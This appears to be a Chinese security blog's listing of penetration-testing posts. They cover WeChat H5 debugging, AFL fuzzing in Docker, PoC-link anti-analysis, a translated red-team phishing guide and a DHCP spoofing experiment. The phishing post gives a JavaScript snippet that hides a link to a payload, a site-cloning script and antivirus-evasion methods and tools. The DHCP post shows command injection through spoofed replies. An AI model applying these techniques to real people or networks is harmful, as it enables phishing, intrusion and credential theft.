渗透技巧

关于《POC链接的反分析》中RTA(态势感知产品)可参考点分析

关于《POC链接的反分析》中RTA(态势感知产品)可参考点分析
【背景】        作者@呆子不开口经常在微博上发“你点我链接,我就进你支付宝账户”的POC链接系列,作者也担心怕路人甲、乙、丙经过分析URL得到漏洞细节,导致在漏洞尚未修复前泄漏了攻击细节带来不必要的麻烦。然后,带来了这篇关于如果改变这个尴尬处境的Paper.【意义】        保护好自己的POC(对应到我们则是:更好的保护好客户的业务系统)【针对人群】        作者的反分析是从保护自己的POC测试代码不被其它研究者甚至黑产技术人员所分析出攻击过程的角度出发,把那些试图从他的POC链接里挖出漏洞细节的一类人进行了如下分类:    从RTA角度来看,从对抗羊毛党,黑产党的自动化攻击行为,做了以下理解:小白场景(自动化脚本/自动化工具场景)————自动化请求触发**钓鱼链接**, 快速被标示为攻击者鬼的场景 (人工分析场景)  坏坏的环境        主流浏览器指纹不全、浏览器启用了各类安全插件、请求是通过了匿名代理发起的、请求是来自黑名单IP区域发起、打开了隐身模式、不支持Cookie设置  怪怪的行为       正常业务请求夹杂着高质量的恶意请求,大量低质量的扫描行为导致的404 400 202 500等不正常响应状态很多,总是在夜深人静的时间段分外活跃, 似乎只对某1个或2个业务特别关注  慢慢或快快的分析       停留时间太长or太短, 停留时间总是没落在大数据行为分析后的结果图(基于统计分析后,得出的path停留时间方差图)   键入时间,过快/过慢 、键入次数 过高/过低 (基于path的页面键入时间,键入时间、次数统计图)   举例:自动化输入一般较快,键入次数少或十分有规律。【一些思路】HTTP层可以做什么从UserAgent上做判断,建立恶意的UA库。比如:U带有SQLmap,Awvss,RASA,WebInspect等常见的攻击工具特征的UA。限制黑名单TopIP, 介入信誉云库。黑客的IP、一些安全社区论坛的IP,(传说知道创宇有各大黑客的IP定位信息)这里主要引入公开的网络威胁黑名单系统如:http://antivirus.neu.edu.cn/scan/ssh.phpReferer限制,Referer来自黑客论坛,黑产网,黄赌毒网等进行标记。every cookie 机制(下发一种很难清除或修改的身份标识,一旦被识别为了攻击者,下发Every Cookie进行身份标示。关于every cookie:[ every cookie](http://www.ituring.com.cn/article/35102))JS渲染检测(检测运行客户端是否具有JS执行能力,原作者用的是下发一段 JS代码 运行后才有赋值,下一次请求校验这个值。)IP和UA做一致性校验,防止重放。    在上面打开了在HTTP层能够做的事情的思路后,作者开始寻找**化被动为主动**的**以攻为守**的思路。简单总结,提到了有如下信息: 人鬼识别        1、跨域采集上网行为        2、js的API去获得一些客户端信息        3、识别结果,回传到服务器防止模拟操作。        【主动搜集参考】        1、加载内网OA,CRM等地址        2、加载CSDN、安全论坛信息        3、检测代理IP等        4、jsonp|img|script跨域等手段从一些购物网站、交友网站、论坛社区去获取登录信息        5、webrtc获取攻击者内网IP等    从RTA的角度来说,在我们判定了访问者为恶意攻击者时,我们可能会将攻击者导入我们的?(蜜罐)收集更多的攻击行为或留司法取证,如果可以判断目标特定为100%攻击者,是否有这样的开关,启用“以攻为防”的保护模式,主动去采集攻击者的周边信息,用来做攻击画像或司法取证,参考上面提到的思路,去尝试获取攻击者更多的周边信息。    基于上面的信息采集,作者根据自己的判别方式,给访问用户一个判定结果,然后将这个判定结果安全的反馈给服务端,然后服务端根据结果判断返回真或假的数据。【回传客户端识别结果】        1、代码加密混淆        2、识别结果签名加密传输        3、使用更难模拟或抓包的协议回传数据,如:websocket        4、种下标示身份的everycookie(一旦被标记,很难否认身份。)    这里的everycookie可以打开网站在线测试:        [在线测试] https://samy.pl/evercookie/)【作者的反分析流程设计图】【触发检测,得到假数据】        作者是从保护自己的POC代码角度出发,所以一旦发现有人尝试分析其POC代码,会立即作出拒绝处理(返回虚假数据)。从RTA的角度,更多的是考虑引入蜜罐系统,拖延攻击或在司法取证上做更多工作。... 继续阅读 »
渗透技巧

微信公众号测试tip——Chrome调试微信公众号H5页面

微信公众号测试tip——Chrome调试微信公众号H5页面
【背景】        前几天因为工作需要,我要测试某客户的公众号的安全性,期间学到了一点技巧。似乎之前也没有看到有圈友提到过,这里做一个笔记希望对看官们有帮助,同时也避免自己遗忘了。【失效的burp】        我要测试的公众号进入都是H5页面,哪么这还是像测试一般的网站一样,去抓包分析测试这些页面,打开burp就开始撸。启用了burp的代理,设置好手机的代理后就开始抓包了。公众号打开如下:            配置好代理后点击 “注册登录”开始抓包吧:    点击打开后302到了微信的认证,然后就卡住了页面空白了。是不是burp的证书没有安装?验证一下,使用手机上的浏览器打开github看看如下:            这一切都是正常的,哪么说明burp的证书是OK的,哪怎么办?公众号的H5页面抓不到包了吗?【祭出Chrome】            我们可以使用电脑上的Chrome远程调试手机微信的H5页面,使用像电脑上访问网页一样的操作。操作步骤如下:        1. 打开微信 TBS 调试-(只支持Android)            手机微信访问链接:http://debugx5.qq.com,这个时候Android会出现X5调试页面如下:         点开启用,“打开TBS内核Inspector调试功能”。        2. 打开电脑上的Chrome浏览器           访问地址:chrome://inspect/#devices,如下:                            3. 打开手机USB调试,连接USB数据线        使用adb验证是否连接如下:                查看Chrome的也可以验证如下:    4. 现在可以打开微信公众号进入网页        打开页面如下:                此时查看Chrome如下:                点击 “inspect” 后如下:        【祭出Burp】        此时就可以用Chrome远程调试微信的H5页面了,这里没法用burp来抓关键请求包,但是我们可以用Chrome的Copy AS CuRL,然后在命令后面添加-x 127.0.0.1:8080,将关键请求包转到burp进行爆破,重放等测试来,如下:【最后】        本文记录了一下如何使用Chrome的远程调试APP的H5页面,虽然不是特别牛逼的技巧,但是非常适用的。    referer:        1. https://blog.csdn.net/ruihaol/article/details/78126651    ... 继续阅读 »
渗透技巧

碎碎念之Afl-fuzz docker实践

碎碎念之Afl-fuzz docker实践
【开篇】        好久没有更新东西了,写一篇水文压压惊吧。这篇文章主要记录一点之前鼓捣Afl-fuzz的笔记,涉及的知识不深,看官们别见笑。作为程序猿周围的安全工程师,我们负责着产品线的测试。这有靠经验来做的黑盒测试,也有靠自己反编译安装包,鼓捣设备得到部会源码的进行灰盒测试,也开始引进Fuzz模糊测试-这就靠下面要说的Afl-fuzz来实现。因为众所周知的问题(搞安全的人在公司地位低),我们没有产品的代码级权限,我们用Afl-fuzz也就当黑盒一样的在玩,下面会解释到。开始吧。。少侠们。。。【初见Afl-fuzz】        了解Afl-fuzz之前我们先了解一下什么是模糊测试,定义:模糊测试是一种通过自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,以发现可能的安全漏洞的技术。Fuzzing技术是当前鉴别软件安全问题方面最强大测试技术, American Fuzzy Lop (简称:Afl-fuzz)是一个优秀的模糊测试工具。使用Afl-fuzz 在有源码条件下可以使用afl-gcc 或者 afl-clang-fast 编译源码,afl在编译的时候完成插桩,如果无源码条件下可以使用qemu模式进行插桩. 对于Fuzzing网络程序,可以使用persistent模式进行测试,我鼓捣的就是使用persistent模式进行Fuzzing。        服务器环境:Ubuntu14.04 4核心 8G内存        我的目的:我们用Afl-fuzz的目的很简单,实现快速的对多个样本同时进行Fuzzing。           关于Afl-fuzz的基础用法,有很多前辈写了,可以搜索一波自行学习,这里使用的是while (__AFL_LOOP(1000)) 写法即persistent模式,使用    afl-clang-fast++编译c写的sender, 用于从文件读取Afl变异产生的payload,发起HTTP请求包,简单的可以参考@小葵师傅的https://www.jianshu.com/p/82c361c7d439  。    简单来说,使用persistent模式运行Afl-fuzz,需要准备这几个东西:seed 输入样本out 指定输出目录sender  afl-clang-fast++编译的可执行程序case.txt 完整的请求包        过程就是: Afl-fuzz工具执行sender, 读取case.txt的基础请求包,使用基于seed进行变形产生的数据替换请求包中标记的位置,这样构造的新的请求包,再发给服务器。   我弄了一个shell脚本,方便我快速编译和运行Afl-fuzz对样本进行Fuzzing.脚本如下:        AFL-分布式模式尝试之shell脚本:riversec@box:~/test/test/test_shell$ cat run_aflfuzz  #./run_aflfuzz fuzz_cross_site_uri 5 cd $1 afl-clang-fast++ sender.c -o sender screen -AmdS MasterFuzz_$1 bash screen -S MasterFuzz_$1 -X screen afl-fuzz -M master -i seed/ -o out/ ./sender request.txt for (( i=3; i<$(($2+3)); i++ ))   do    screen -AmdS ClusterFuzz$(($i-2))$1 bash    screen -S ClusterFuzz$(($i-2))$1 -X screen afl-fuzz -S Cluster$(($i-2))$1 -i seed/ -o out/ ./sender request.txt  done screen -ls echo "start over..."        上面的shell实现了afl-clang-fast++编译sender,用了screen管理挂起任务,使用AFL的 Master/Cluster模式进行分布式Fuzzing. 调用命令如下:./run_aflfuzz fuzz_cross_site_uri 5 fuzz_cross_site_uri 是screen会话TAG,方便区分节点.request.txt 是burp抓的完整的HTTP请求包seed 是输入,即从HTTP请包中,需要模糊测试的点,提取的值作为变异种子out是输出,AFL的状态信息,输出文件保留在此数字5 是创建5个节点       虽然上面只对同一个样本进行Fuzzing, 但是实现了分布式Fuzzing,哪么是不是我只需要多执行几次run_aflfuzz命令,再对其他对样本进行测试,就能实现我想要的目的呢?        结果动手了才会发现,事情并不是那么简单。。。【遇到了什么问题?】        发现问题1:CPU 核心限制了同时Fuzzing的样本数             因为平时工作时需要测试各种功能,就会有很多种类型的请求包需要进行Fuzzing,我们在同一台机器上想跑多个样本时,总会有遇到如下的提示:                使用过Afl-fuzz的同学可能会很熟悉,这都是穷惹的祸啊。。4核心难道就只能跑4个样本了吗??         发现问题2:手动抓样本,制作seed,标记Fuzzing位置               目前条件下,每当我要Fuzzing一个样本,我需要重复做几件事:                1. burp抓取HTTP包                2. 使用$替换要Fuzzing的位置,比如tid=888,标记为tid=$                3. 将888作为seed                4. 使用afl-fuzz命令开启Fuzzing.             每一个样本都需要做这些操作,虽然没有几步,但是让人很不耐烦。。【一步一步实现】        遇到上面的问题后,就开始思索怎么解决。首先解决第一个CPU核心数限制问题,我这里首先想到使用docker虚拟化技术来做,经过验证后发现是可行的。        下面具体说说如何实现。        1. 安装docker                第一步安装docker,安装过程这里就不说了。        2. 搜索images                搜索仓库里是否有前辈做好的afl的images,直接拿来使用。     docker search  afl           搜出来的第一个,就可以直接拿来用,我用的就是这个。如图所示:            pull下来做一些自己的定制化后,再docker commint 创建一个自己的新images.            3. 创建container                创建容器就很讲究了,我们想要的是用docker来跑多个Fuzzing任务,我们不仅要让他跑起来,还得为后面查看其状态,了解任务信息做准备。Afl-fuzz运行起来后,会将状态信息实时更新在out目录下的文件里。            为了了解任务状态,宿主机就需要能够实时访问到这些记录任务状态的文件,我们就需要通过文件共享来,访问宿主机查看这些文件,所以创建命令如下:docker run -td --privileged -v /var/docker_afl/share/case1:/case --name "fuzz_node1" -h "fuzz_node1" moflow/afl-tools /bin/bash            宿主机的/var/docker_afl/share/目录下创建case1文件,对应容器的/case目录如下截图:                上图的case.txt,是一个准备好之后,创建的节点,里面包括了如下:case.txt文件:完整的HTTP包,out是输出目录,seed是输入目录,sender是用afl-clang-fast++编译的persistent模式写的发包程序,tool.py是写的辅助自动程序后面会说到。        4. 准备数据                准备Afl-fuzz程序运行需要的数据,先Burp抓一请求包如下:POST /ajax/login/backend/?b0QHe3bMd9fNm57=$$$K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF$$$ HTTP/1.1 Host: 10.10.66.132 Content-Length: 25 Accept: */* Origin: http://10.10.66.132 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://10.10.66.132/ajax/login/ Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: csrftoken=fVYWMCFUG6gW4ONjm48179CsKAiamipA; send_log_path=%2Ftmp%2Flog%2Fnew%2Faccess.log.1; FSSBBIl2UgzbN7NCSRF=qDWzcpd3KP1mAw5r0gbsg06pu4TSyuYU; b0QHe3bMd9fNm57=K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF Connection: close username=1e&password=1212        这个请求包就是我们需要进行Fuzzing的case1,上面里我使用了$$$来标记需要Fuzz的点(和Sqlmap的引导注入相似)。标记后,其中的原始的参数:K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF        应当作为seed做样本变异使用,Afl-fuzz工具根据其内部的变异算法产生新的值,然后替换这个,进行发包测试。编写一个辅助脚本tool.py帮助完成,提取标记的值,保存seed的工作,脚本实现如下:import re import sys import os def alter(inf, ouf):     with open(inf, "r") as f1, open("%s.bak" % inf, "w") as f2:         for line in f1:             flg = re.findall('\$\$\$.+\$\$\$',line)             if len(flg)>0 and len(flg[0])>1:                 flag = flg[0]                 print "[*] Found:\n\t", flag                 print "[*] seed: ", os.getcwd() + os.sep + "seed"                 with open(ouf, "w") as of:                     of.write(flag.replace("$$$", ""))                 f2.write(line.replace(flg[0],'$'))             else:                 f2.write(line)     os.rename("%s.bak" % inf, inf) print "[*] run checking...." alter(sys.argv[1], sys.argv[2]) print "[*] run over...."        上面准备好后,编写sender.c,这个程序实现几个操作 1. 加载case.txt内容 2. 从输入流读取数据替换$case.txt标记的位置即:将Afl产生的变异数据结合成新的请求包,然后使用socket发送给Server.        部分代码如下:while (__AFL_LOOP(1000)) {  memset(copy_file, 0, sizeof(copy_file));         memcpy(copy_file,request.data(),numread);                 per_req.assign( copy_file );         memset(target, 0, sizeof(target)); read( STDIN_FILENO, target, 10240 ); TrimSpace(target); per_req.replace(per_req.find("$"),1,target);                 // printf( "%s\r\n", per_req.data() );                  sockfd = socket( AF_INET, SOCK_STREAM, 0 ); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons( destport ); dest_addr.sin_addr.s_addr = inet_addr( "10.10.66.138" ); memset( &dest_addr.sin_zero, 0, 8 ); connect( sockfd, (struct sockaddr *) &dest_addr, sizeof(struct sockaddr) ); send( sockfd, per_req.data(), strlen( per_req.data() ), 0 ); //recv( sockfd, buffer, 1024, 0 ); //printf( "%s", buffer ); close( sockfd ); }            地址10.10.66.138就是被Fuzz的服务器地址。            5. 初始化Afl-fuzz环境                上面的准备工作做好后,我们现在就可以在宿主机上完成容器里的Afl-fuzz程序运行的准备了。                拷贝case,sender到,tool.py容器里        cp /var/docker_afl/cases/request.txt /var/docker_afl/share/node1/case.txt         cp /var/docker_afl/share/sender.c /var/docker_afl/share/node1/sender.c         cp /var/docker_afl/share/tool.py /var/docker_afl/share/node1/tool.py               这里的node1文件夹对应容器node1的/case目录。将必要的文件拷贝进去。                 手动启用节点:(首次默认启用)                docker start fuzz_node1处理case为sender能处理的格式在docker里执行命令完成创建环境,执行tool.py辅助脚本,完成提取$$$标记的值做为seed输入值. 创建seed目录        docker exec -it fuzz_node2 bash -c 'python /case/tool.py /case/case.txt /case/1'         docker exec -it fuzz_node2 bash -c 'mkdir /case/seed'         docker exec -it fuzz_node2 bash -c 'mv /case/1 /case/seed/1'              6. 开始Fuzzing                    现在准备好了环境后我们可以进入到容器开始跑Fuzzing了,有两种方式运行,第一种是进入到容器里,另外一种就是通过 bash -c执行命令,让其内部运行起来。如:docker exec -it $1 bash -c 'afl-fuzz -M master -i /case/seed/ -o /case/out/ /case/sender /case/case.txt'                   实践中发现Afl-fuzz的需要保持在终端打开下,上面的方式都不是很妥当,这还得借助screen来实现。实践证明是可行的,命令如下:    screen -AmdS node1 bash     screen -S node1 -X screen docker exec -it fuzz_node1 bash -c 'afl-fuzz -M master -i /case/seed/ -o /case/out/ /case/sender /case/case.txt'                  这两条命令执行以后,背后的Afl-fuzz就开始在工作了,可以使用screen -r node1切换进去,就可以看到亲切的Afl-fuzz的界面了。                                7. 写一个shell吧            偷个懒,写一个shell吧,取名就叫:create.sh,内容如下:docker run -td --privileged -v /var/docker_afl/share/$1:/case --name "$1" -h "$1" komi/afl-fuzz-v2.0 /bin/bash cp /var/docker_afl/cases/request.txt /var/docker_afl/share/$1/case.txt cp /var/docker_afl/share/sender.c /var/docker_afl/share/$1/sender.c cp /var/docker_afl/share/tool.py /var/docker_afl/share/$1/tool.py docker exec -it $1 bash -c 'python /case/tool.py /case/case.txt /case/1' docker exec -it $1 bash -c 'mkdir /case/seed' docker exec -it $1 bash -c 'mv /case/1 /case/seed/1' docker exec -it $1 bash -c 'afl-clang-fast++ /case/sender.c -o /case/sender' screen -AmdS $1 bash        效果如下:                    到这里,一个请求包的FUZZ工作就已经开始了,这是利用AFL生成大量的样本,发起网络请求的黑盒的FUZZ。        8. 查看状态        如何查看FUZZ任务状态?文件夹/var/docker_afl/share下的node*, 表示一个独立的Fuzz任务。比如下面存在node0、node1、node2、node3、node9任务。           AFL的FUZZ任务状态可以通过查看文件而知,        比如:            我们想要查看刚创建的node1任务的进度信息,需要切换到/var/docker_afl/share/node1/out/master路径,打开fuzzer_stats文件如下:        我们关注测试的速度,1834.11次/s,这表示基于标记的        其他:            1. 查看当前任务的seed            cat /var/docker_afl/share/node1/seed/1            2. 查看当前任务的请求case        cat /var/docker_afl/share/node1/case.txt            3. 查看AFL运行信息                screen -r node1                        4. 查看138的网络请求        命令:sudo tcpdump -s 1024 -l -A -n -i eth0 src 10.10.66.131                可以确认AFL正在工作...        【后记】        暂无REFERER:    1. https://blog.csdn.net/qq_32464719/article/details/80592902     2. https://lcamtuf.blogspot.com/2015/06/new-in-afl-persistent-mode.html     3. http://rk700.github.io/2018/01/04/afl-mutations/     4. https://www.secpulse.com/archives/71903.html... 继续阅读 »
渗透技巧

一次真正了解红队之旅-2018-【翻译】

一次真正了解红队之旅-2018-【翻译】
刷Twitter看到一文,老外写的一个叙述红队以钓鱼为向量的行动,翻译学习了下。英文原文:https://ringzer0team.com/d/A-Journey-Into-a-RedTeam-2018.pdf 我的理解翻译如下:红队    红队怎么玩的呢?红队一般在行动前都会有自己的目标,下面的笔记是以钓鱼为攻击向量的一次红队行动。制定红队目标了解目标,收集目标信息开始钓鱼攻击制作包含恶意代码的Payload猎杀时刻使用的工具&建议一、制定红队目标:    0x1:   评估客户对威胁行为的反应能力    0x2:通过实现预先定义的目标(访问CEO电子邮件、访问客户数据等)来评估他们的安全状态。    0x3:演示攻击者用来攻击获得客户资产的潜在路径内部安全测试 VS 红队目标    内部安全测试:        就像电影《第一滴血》里史泰龙出场一样,一个字,就是“干”,干掉所有的阻碍,直到干掉最大的Boss。    红队:        更像007一样,周密计划,精准打击,以最小行动,斩首行动。二、识别目标    我们的攻击向量是-钓鱼创建目标列表识别安全产品选择钓鱼主题2.1 如何识别你的目标?社交平台上可能会找到目标员工的照片,员工姓名等搜索与目标相关的电子邮件的历史密码,搜索GitHub、pastebin等。OWA 和Office365是你的好朋友,OWA 泄漏GAL:https://your.target/owa/service.svc?action=GetPeopleFilters        没有MFA(介绍)设备下,暴力破解密码,获得邮件读写权限        https://your.target/EWS/Exchange.asmx        云上的Office365    读写邮件https://outlook.office365.com/api/v1.0/密码暴力破解https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml   4.  Shodan 搜索目标的公网IP段 和寻找:Citrix 门户OWAVPN任何可以通过远程认证的服务,他们可能没有强制2FA认证,你就可以进行暴力破解。    5.  给目标邮件服务器发送一封不存在的邮件地址,等待获取返回的错误信息。比如下面:        通过错误的邮件,看看返回邮件信息判断对方邮件服务器使用的安全软件,配置了何种安全策略等。     6.  认识你的目标,LinkedIn也是你的好朋友。(寻找该公司的员工信息)     6.  浏览下目标的官网,寻找一些钓鱼主题的想法,比如忠诚度考验?三、开始钓鱼    开始钓鱼前有几大规则需要注意不要把恶意的有效载荷放入电子邮件不允许自动化解决方案洞察发现你的最后一步使用分类域使用SSL证书有效的HTTPS尽可能的让邮件看起来无聊避免域使用带错别字带域名不要重用您的域名   分析原因不要把恶意的有效载荷放入电子邮件通常发送钓鱼邮件带上一个指向你可以控制的服务器的链接,因为无论目标使用了何种安全产品,他们都会允许采用你给的链接,如果你的payload有什么问题,你可以及时的修改你控制的服务器。下面是一封钓鱼邮件例子:嗨,鲍伯,    我们目前正在更新我们的行为守则。请尽快审查和接受。行为准则可以在这里找到:HTTPSE//PHISH.DOMIA/CONDEY/CODE/A2EF362E-4D0-B21D-5ABF-EDECE29 D365Cb/谢谢,来自人力资源部的查尔斯通过简单的Apache mod_rewrite规则生成具有唯一ID的“企业” URL重写代码如下:效果如下:(类似DNSlog, 给每一个测试payload一个标识一样便于区分被钓鱼的对象)钓鱼URL:https://phishy.domain/company/code/a2ef362e-45d0- b21d-5abf-edce29d365cb/实际URL:https://phishy.domain/company/index.phpRewriteEngine OnRewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php [L,QSA]  2.  不允许自动化解决方案洞察发现你的最后一步              使用JavaScript生成有效载荷的最终链接        比如:让我们假设钓鱼网站上的HTML看起来是这样的:        <a href="https://phishy.domain/payload.docm">下载行为准则</a>        自动化安全工具可以很容易地处理HTML并拉动有效载荷来执行进一步的分析。        但是如果使用Javascript生成最终的链接如下面这样:<a id="download" href="#">下载行为准则</a><script> document.getElementById("download").onclick = function() { document.location = "https://phish" + "y.domain/pay" + "load.docm";  }; document.getElementById("download").click(); </script>        网络钓鱼与用户体验有很大关系,不点击任何东西,而强制用户点击click()进行下载文件,浏览器将会提示下载窗口。  3.  使用分类域名        在评估之前,只需克隆一个合法网站,并要求安全产品对钓鱼域名进行分类。        比如作者准备的在webroot目录下执行这个sh文件:#!/bin/bashecho "Cloning $1"wget $1 -O index.html &> /dev/nullTAG="<base href=\"$1\"/></head>"sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/nullecho "index.html was saved and modified"        搜索已经过期的域,分类,这可能是有用的,是分类域名最懒惰的方法。作者也给出了脚本:https://raw.githubusercontent.com/Mr-Un1k0d3r/CatMyFish/master/CatMyFish.py  4.  使用SSL证书有效的HTTPS      使用免费的https证书,搭建网站。  5.  尽可能的让邮件看起来无聊        如果邮件非常非常无聊,但是又很重要,哪就太好了!比如下面几方面邮件:内部行为守则更新强制性骚扰网络课程等员工问卷调查等这些邮件主题较少引起怀疑。  6.  避免使用带错别字带域名    作者了一个举例比较下面两个域名:northsex.io      VS        northsec.canadianevent.com   前者的钓鱼域名就是将真正的域名的northsec 改变了一个字母以此来迷惑用户,其实这个对于安全意识越来越高的现代人来说,很容易就对前者产生了怀疑。但是现在的服务越来越多样化,很多公司都会有第三方服务,这些第三方服务通常会带上目标公司的域名做前缀。比如:大绿盟的关爱痛服务-http://nsfocus.guanaitong.com/主站:http://www.nsfocus.com.cn/ 关键字:nsfocus第三方服务平台:使用关键字nsfocus做前缀http://nsfocus.guanaitong.com/如果构造nsf0cus.com.cn、nsFocus.com、nsfocus1.com.cn  这一类域名,很容易产生怀疑了。哪么我们构造下面这些,你能看出哪些是钓鱼网站吗?nsfocus.fuli.comnsfocus.baoxian.comnsfocus.gongjijin.comnsfocus.guanaitong.com哦豁,怎么让腾讯爸爸打勾?  7.  不要在其他项目重复使用你的域名        避免泄漏了客户的信息四、制作Payload        通常的bypass安全产品检测的方法是执行不同的操作-这些产品通常是防止基于某些指纹的恶意有效载荷的执行。        攻击者完成了bypass所有安全层的策略后,就能够在目标系统上悄无声息的执行恶意代码。        混淆 和 规避$a = 3;                                                // 原始代码 $a = 1 + 2;                                            // 混淆处理if(context == “sandbox”) { $a = 3; } else { exit() }   // 规避        时髦的东西不一定是好事情,安全厂商通常会努力阻止最新的技巧,你最近一次听说发现一种新的很酷的检测二进制文件的方法?    “现在人人都会用PowerShell”        一些制作Payload的规则:不要直接执行PowerShell为此作者写了一个工具:PowerLessShell,实现了不调用powershell.exe的情况下执行PowserShell命令;如果你使用宏来执行命令,避免使用WScript.Shell 和 Shell(),因为大多数安全产品会跟踪WINWORD.exe触发生成子进程。你可以使用WMI来执行你的payload;作者也给了一个工具:MaliciousMacroGenerator如果你计划使用签名过的exe可执行文件,需要小心一些安全厂商将:regsvr32.exe, msbuild.exe等文件加入了黑名单的。作者提供了一个修改签名后的二进制文件Hash的工具,因此绕过黑名单,Windows-SignedBinary也可以执行使用copy复制一份新文件,改一个新名字。比如:添加些环境检测条件,避免在不合时宜的环境下执行无意义的代码。这里提到了ClickOnce, 给了一个工具 https://github.com/Mr-Un1k0d3r/ClickOnceGenerator可能早已经有一些人写好了一些混淆你的payload的工具比如:SCT COM Scriptlet: https://github.com/Mr-Un1k0d3r/SCT-obfuscatorEXE (shellcode): https://github.com/Mr-Un1k0d3r/UniByAvEXE (shellcode): https://github.com/Mr-Un1k0d3r/DKMCBase64 (PowerShell): https://github.com/Mr-Un1k0d3r/Base64-Obfuscator尽可能隐蔽的连接回你的C2服务器作者提供了一个工具,ThunderShell。它是一个依赖于HTTP请求进行通信的基于powershell外壳的RAT。使用RC4的第二层对所有网络流量进行加密,以避免SSL拦截并击败网络钩子。选择一个合适的payload:copy powershell.exe tLclgEomOrR.exetLclgEomOrR.exe –exec bypass Get-Help或者用宏完成:o = CreateObject("Scripting.FileSystemObject") o.CopyFile(source, destination)Macro: 自从Office 2016后,默认就关闭了宏HTA:这是一个很流行,但是经常被检测发现的ClickOnce: 要求使用IE 浏览器EXE: 可能被应用程序的白名单阻止    不要直接执行PowerShell,对比如下:Macro -> WMI -> PowerShell                 VSMacro -> WMI -> PowerLessShell (MSBuild)我们精心制作的payload被安全产品友好的接纳,现在已经准备好大干一场。五、猎杀时刻                                    We have a shell(鱼儿上钩了)鱼儿上钩了后第一件事就是在鱼儿掉线之前,尽可能的获取更多的信息。用户名,邮件列表避免直接执行PowerShell 避免使用net 家族的命令发起网络行为避免连接所有的系统可行方案是使用,非托管的PowerShell和LDAP查询比如:CobaltStrike 内置的powerpick命令,作者给的ThunderShell 工具也支持。作者给了一些dump 用户名,dump邮件的Powershell脚本https://raw.githubusercontent.com/Mr-Un1k0d3r/RedTeamPowershellScripts/master/scripts/Utility.ps1后面基本说的是他写的RedTeamPowershellScripts的可以干些什么事,有什么作用了,耐心的话可以去Gayhub学习。六、工具&技巧        大多数Windows命令可以通过PowerShell来调用,为了不派生出cmd.exe可以用CobaltStrike的powerpick 或者作者的 PowerLessShell         https://github.com/PowerShellMafia/PowerSploit 这个开源项目也提供了很多有用的脚本        因为时间的紧迫,可能红队没有多少时间去思考做好隐蔽性,但是可以使用适当的技术和适当的工具让攻击变得隐蔽。        一次好的钓鱼行动,获得的结果是不同的,制作payload是一门艺术,耐心对待。不惜一切代价避免直接执行PowerShell.... 继续阅读 »
渗透技巧

一次局域网里DHCP欺骗实践-分析与记录

一次局域网里DHCP欺骗实践-分析与记录
起因:        最近出了一个红帽的DHCP Client 命令注入漏洞,编号:CVE-2018-1111,在研究复现中突然有了做DHCP欺骗的想法,于是做了如下的这个实验。测试思路:        1. 攻击者IP(10.10.32.33)监听DHCP的Discover请求,伪造DHCP Offer 和 DHCP的ACK,完成自定义IP的分配实现DHCP的伪造。        2.  新接入的电脑使用DHCP接入网络,尝试获取可用IP。        3. 被攻击目标先后为:DHCP接入,静态IP接入形式。测试过程及现象解读:        为了测试DHCP欺骗,需要寻找一个用于DHCP欺骗的工具,在GitHub上找到了一个使用python的scapy套件编写的脚本,使用起来棒棒的,这是写来玩之前shellshock漏洞的脚本,地址:https://github.com/byt3bl33d3r/DHCPShock/blob/master/dhcpshock.py 如果对这个漏洞感兴趣可以看这个文章;https://www.trustedsec.com/2014/09/shellshock-dhcp-rce-proof-concept/        拿到脚本我们读懂几个参数就可以拿来直接做实验了,#siaddr = DHCP server ip  可以是攻击者IP 也可以是真实的DHCP的Server 地址 #yiaddr = give client one ip  你给它分配的IP,它将用来接入网络的 #xid = transaction id     Transaction ID,可以不管 #chaddr = clients mac address in binary format    发起DHCP的客户端MAC地址            我们还需要注意修改Offer和 ACK响应包里的server_id,router参数,我在测试时修改的截图如下:            脚本准备好了,就可以开始实验了,输入下面的命令运行脚本:sudo python dhcpshock.py -i en4 -c "whoami"        这里指定了网卡,en4    和命令(可以修改下脚本去掉这个)        现在就可以做网络接入实验了,我们如上面的Offer 和ACK的配置,是给所有新的DHCP接入的电脑返回伪造的包,伪造包欺骗接入电脑使用脚本里设定的如10.10.32.147这个IP地址。        实验一: 新电脑DHCP接入,欺骗分配已存在的IP10.10.32.92,该电脑以DHCP形式接入网络        测试效果如下图:            如上如所示,成功欺骗了虚拟机WIn7系统,配置了IP 10.10.32.35.       可以看到上图中,攻击者10.10.32.33,优先于真正DHCP Server 10.10.8.22进行了IP分配和应答,这导致了DHCP的客户端信任了这个返回包,我们知道DHCP是基于UDP协议,这就给了伪造的机会。        对比测试,没有攻击干扰时如下:                        没有干扰时,虚拟机接入,获取到IP 10.10.32.29,并成功的设置为这个IP。        实验二: 新电脑DHCP接入,欺骗分配IP为已经存在的IP 10.10.32.92,该电脑以DHCP形式接入网络                实践中找了一个网络中已经存在的IP地址,进行强行的分配测试,发现能够成功夺取该IP,如下图:                分析:                因为10.10.32.92电脑以DHCP配置接入网络,在给Win7欺骗分配这个IP时,Win7尝试使用时提示了IP冲突,这个时候真正的32.92这个IP的电脑,也会出现提示IP冲突。这里猜测:在出现IP冲突时,出于网络主动恢复思路,系统底层应该会主动发起DHCP request 带上之前的分配信息给DHCP Server。win7被欺骗后,一直在强调我用32.92这个IP,受害者也在强调使用这个IP,最终受害者的DHCP Client应该会妥协重新发起获取IP请求,然后使用其他IP。至此。IP成功抢走。。(纯猜测)。。                  实验三: 新电脑DHCP接入,欺骗分配IP为已存在的IP-10.10.32.147,该电脑以手动配置静态IP形式                测试如下图:                    